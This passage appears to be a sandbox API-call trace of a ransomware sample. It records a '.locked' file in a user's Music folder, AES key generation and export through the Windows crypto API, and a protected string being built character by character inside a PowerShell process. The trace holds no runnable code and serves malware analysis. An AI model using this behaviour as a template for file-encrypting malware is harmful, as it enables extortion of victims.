[4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.716] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.718] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.718] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.719] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.719] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0133.721] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\f_mh2z6btft7kos_6g.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x69b6b3c | out: lpFileInformation=0x69b6b3c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12e6a05f, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x12e6a05f, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x12e9be73, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xa254)) returned 1 [0133.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0133.721] CloseHandle (hObject=0x858) returned 1 [0133.723] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.723] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.723] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.723] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.723] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.724] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.724] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.724] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.725] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.725] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.725] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.725] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.725] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.726] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.726] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.726] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.727] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0133.731] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.732] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0133.732] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x43969b0) returned 1 [0133.733] CryptGenKey (in: hProv=0x43969b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e85138) returned 1 [0133.733] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.733] CryptExportKey (in: hKey=0x8e85138, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.733] CryptExportKey (in: hKey=0x8e85138, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x69e730c, pdwDataLen=0x99ae894 | out: pbData=0x69e730c*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.733] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.733] SysStringLen (param_1="") returned 0x8 [0133.733] SysStringLen (param_1="F") returned 0x8 [0133.733] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.733] SysStringLen (param_1="\x5c29\x23ea\xf370\xdccd\xd139\xc786\x15d8\xc7a8") returned 0x8 [0133.733] SysStringLen (param_1="\x5c29\x23ea\xf370\xdccd\xd139\xc786\x15d8\xc7a8") returned 0x8 [0133.733] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.734] SysStringLen (param_1="FB") returned 0x8 [0133.734] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.734] SysStringLen (param_1="\xe93b\x4770\xece5\x40c9\x7ee0\x78a1\x1353\x399b") returned 0x8 [0133.734] SysStringLen (param_1="\xe93b\x4770\xece5\x40c9\x7ee0\x78a1\x1353\x399b") returned 0x8 [0133.734] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.734] SysStringLen (param_1="FBI") returned 0x8 [0133.734] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.734] SysStringLen (param_1="\xbcd1\x61d8\x4075\x9f5\x6b1c\x44d1\x53e6\x1524") returned 0x8 [0133.734] SysStringLen (param_1="\xbcd1\x61d8\x4075\x9f5\x6b1c\x44d1\x53e6\x1524") returned 0x8 [0133.734] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.734] SysStringLen (param_1="FBIn") returned 0x8 [0133.734] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.734] SysStringLen (param_1="\x2052\xb622\x3054\x4374\x4e50\xd61e\x6c80\x47c8") returned 0x8 [0133.734] SysStringLen (param_1="\x2052\xb622\x3054\x4374\x4e50\xd61e\x6c80\x47c8") returned 0x8 [0133.734] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.734] SysStringLen (param_1="FBInE") returned 0x8 [0133.734] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.734] SysStringLen (param_1="\xceaf\x7f4a\x9bb1\xcb7c\x652b\xf390\x6c90\x9f32") returned 0x8 [0133.734] SysStringLen (param_1="\xceaf\x7f4a\x9bb1\xcb7c\x652b\xf390\x6c90\x9f32") returned 0x8 [0133.734] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.734] SysStringLen (param_1="FBInEP") returned 0x8 [0133.734] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.734] SysStringLen (param_1="\x9d9e\xe7ab\xa51f\x89\xfcf0\x3e46\x565f\xfe0a") returned 0x8 [0133.734] SysStringLen (param_1="\x9d9e\xe7ab\xa51f\x89\xfcf0\x3e46\x565f\xfe0a") returned 0x8 [0133.734] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.734] SysStringLen (param_1="FBInEPu") returned 0x8 [0133.734] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.734] SysStringLen (param_1="\x73fe\xce6f\x9f6f\xcf89\x6a33\x24f2\x3d1c\x76aa") returned 0x8 [0133.734] SysStringLen (param_1="\x73fe\xce6f\x9f6f\xcf89\x6a33\x24f2\x3d1c\x76aa") returned 0x8 [0133.734] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.734] SysStringLen (param_1="FBInEPu2") returned 0x8 [0133.735] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.735] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b") returned 0x8 [0133.735] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b") returned 0x8 [0133.735] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b") returned 0x8 [0133.735] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b") returned 0x10 [0133.735] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.735] SysStringLen (param_1="FBInEPu24⇲䅕﫧㤎遣縦ퟨ") returned 0x10 [0133.735] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.735] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\x7cb9\x58c3\xfe12\x25ae\x571c\xd0c\x6c88\x4019") returned 0x10 [0133.735] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\x7cb9\x58c3\xfe12\x25ae\x571c\xd0c\x6c88\x4019") returned 0x10 [0133.735] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.735] SysStringLen (param_1="FBInEPu245䅕﫧㤎遣縦ퟨ") returned 0x10 [0133.735] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.735] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xcde5\x4b91\xeebc\xbd19\x3bd8\x1920\x8043\x2cbb") returned 0x10 [0133.735] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xcde5\x4b91\xeebc\xbd19\x3bd8\x1920\x8043\x2cbb") returned 0x10 [0133.735] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.735] SysStringLen (param_1="FBInEPu2450﫧㤎遣縦ퟨ") returned 0x10 [0133.735] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.735] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\x6968\x9f44\x9da2\x2104\x734e\xcb89\x45c2\x9966") returned 0x10 [0133.735] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\x6968\x9f44\x9da2\x2104\x734e\xcb89\x45c2\x9966") returned 0x10 [0133.735] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.735] SysStringLen (param_1="FBInEPu2450+㤎遣縦ퟨ") returned 0x10 [0133.735] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.735] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe734\x468\xd0bc\xc301\x9787\xd7f8\x9d62\x5a16") returned 0x10 [0133.735] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe734\x468\xd0bc\xc301\x9787\xd7f8\x9d62\x5a16") returned 0x10 [0133.735] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.735] SysStringLen (param_1="FBInEPu2450+i遣縦ퟨ") returned 0x10 [0133.735] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.735] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\x413e\xc34\xc7d9\x47e0\x4cd\x56e9\x4db\x36a4") returned 0x10 [0133.735] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\x413e\xc34\xc7d9\x47e0\x4cd\x56e9\x4db\x36a4") returned 0x10 [0133.736] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.736] SysStringLen (param_1="FBInEPu2450+iP縦ퟨ") returned 0x10 [0133.736] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.736] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe642\x7a07\xc012\x722d\x16\x81eb\xbcd7\xfc2f") returned 0x10 [0133.736] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe642\x7a07\xc012\x722d\x16\x81eb\xbcd7\xfc2f") returned 0x10 [0133.736] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.736] SysStringLen (param_1="FBInEPu2450+iPBퟨ") returned 0x10 [0133.736] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.736] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\x7390\xf56e\x2bca\xc90a\x962f\xb9d0\x2445\xa7b5") returned 0x10 [0133.736] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\x7390\xf56e\x2bca\xc90a\x962f\xb9d0\x2445\xa7b5") returned 0x10 [0133.736] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.736] SysStringLen (param_1="FBInEPu2450+iPB+") returned 0x10 [0133.736] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.736] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3") returned 0x10 [0133.736] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3") returned 0x10 [0133.736] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3") returned 0x10 [0133.736] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3") returned 0x18 [0133.736] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.736] SysStringLen (param_1="FBInEPu2450+iPB+W寞茜꠮龜縢曚쑠") returned 0x18 [0133.736] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.736] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x5ccd\x45d8\x6cd7\x12df\x7efa\x66c8\x2291\x2578") returned 0x18 [0133.736] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x5ccd\x45d8\x6cd7\x12df\x7efa\x66c8\x2291\x2578") returned 0x18 [0133.736] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.736] SysStringLen (param_1="FBInEPu2450+iPB+Ws茜꠮龜縢曚쑠") returned 0x18 [0133.736] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.736] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x5bc1\x9adc\xd322\x57f4\x30a6\x3317\xb004\xbe27") returned 0x18 [0133.736] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x5bc1\x9adc\xd322\x57f4\x30a6\x3317\xb004\xbe27") returned 0x18 [0133.736] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.737] SysStringLen (param_1="FBInEPu2450+iPB+Ws6꠮龜縢曚쑠") returned 0x18 [0133.737] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.737] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x252e\x2b7e\xc717\x744e\xc5d1\xcdea\x126a\x5685") returned 0x18 [0133.737] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x252e\x2b7e\xc717\x744e\xc5d1\xcdea\x126a\x5685") returned 0x18 [0133.737] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.737] SysStringLen (param_1="FBInEPu2450+iPB+Ws6r龜縢曚쑠") returned 0x18 [0133.737] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.737] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\xaf65\xc0df\xe051\x280e\x7a8b\x3f58\x32c0\x207e") returned 0x18 [0133.737] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\xaf65\xc0df\xe051\x280e\x7a8b\x3f58\x32c0\x207e") returned 0x18 [0133.737] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.737] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rE縢曚쑠") returned 0x18 [0133.737] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.737] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x1683\x316b\x70f0\x8935\xe59a\x21ce\x1a85\xd862") returned 0x18 [0133.737] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x1683\x316b\x70f0\x8935\xe59a\x21ce\x1a85\xd862") returned 0x18 [0133.737] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.737] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEo曚쑠") returned 0x18 [0133.737] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.737] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\xd0d3\x889e\x8def\x3a40\xa27e\xd702\xe1c\x5eb") returned 0x18 [0133.737] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\xd0d3\x889e\x8def\x3a40\xa27e\xd702\xe1c\x5eb") returned 0x18 [0133.737] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.737] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEos쑠") returned 0x18 [0133.737] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.737] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x3e8\xd101\xe4f\x2bfe\x78f8\x1824\xdaa4\x79eb") returned 0x18 [0133.737] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x3e8\xd101\xe4f\x2bfe\x78f8\x1824\xdaa4\x79eb") returned 0x18 [0133.737] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.737] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosF") returned 0x18 [0133.737] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.737] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b") returned 0x18 [0133.738] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b") returned 0x18 [0133.738] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b") returned 0x18 [0133.738] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b") returned 0x20 [0133.738] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.738] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx씬娏鍿槓릞쥘") returned 0x20 [0133.738] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.738] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xa164\x9243\xc109\xbefd\x605f\x40a1\x5a3d\xd87d") returned 0x20 [0133.738] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\xa164\x9243\xc109\xbefd\x605f\x40a1\x5a3d\xd87d") returned 0x20 [0133.738] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.738] SysStringLen (param_1="FBInEPu2450+iPB+Ws6rEosFx6娏鍿槓릞쥘") returned 0x20 [0133.738] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.738] SysStringLen (param_1="\x5c3b\x21d8\x321d\xfbe1\xfdce\x84f6\x3bdd\xe73b\xe5a\x5bf4\xf054\xa928\x3e0e\x6ab7\x2321\xf4b3\x515a\xc506\x2947\x9279\x1883\x7d46\xfc65\xf98b\x8593\x99\xe0dd\x4d12\x1881\x2be9\xd66f\x7da1") returned 0x20 [0133.738] SysStringLen 